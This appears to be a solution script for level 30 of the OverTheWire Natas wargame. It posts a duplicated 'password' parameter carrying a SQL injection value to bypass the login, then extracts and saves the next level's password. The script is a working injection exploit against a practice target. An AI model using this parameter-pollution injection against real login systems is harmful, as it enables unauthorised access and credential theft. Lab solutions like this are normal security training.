text: import requests
  import re
  from natas_utility import *
  import html
  from urllib3._collections import HTTPHeaderDict
  
  current_level = 30
  credentials = get_credentials(current_level)
  
  base_url = 'http://{}.natas.labs.overthewire.org'.format(credentials['username'])
  auth = (credentials['username'], credentials['password'])
  
  url = base_url
  
  session = requests.session()
  
  data = HTTPHeaderDict()
  data.add('username', 'natas31')
  data.add('password', '"a" or username = username')
  data.add('password', '5')
  
  response = session.post(url, data=data, auth=auth)
  
  content = html.unescape(response.content.decode('utf-8')).replace('<br />', '\n').replace('<br>', '\n')
  
  password_regex = re.compile(r'natas31(.+)<div')
  next_password = password_regex.findall(content)[0]
  print(next_password)
  
  save_credentials(current_level + 1, next_password)
  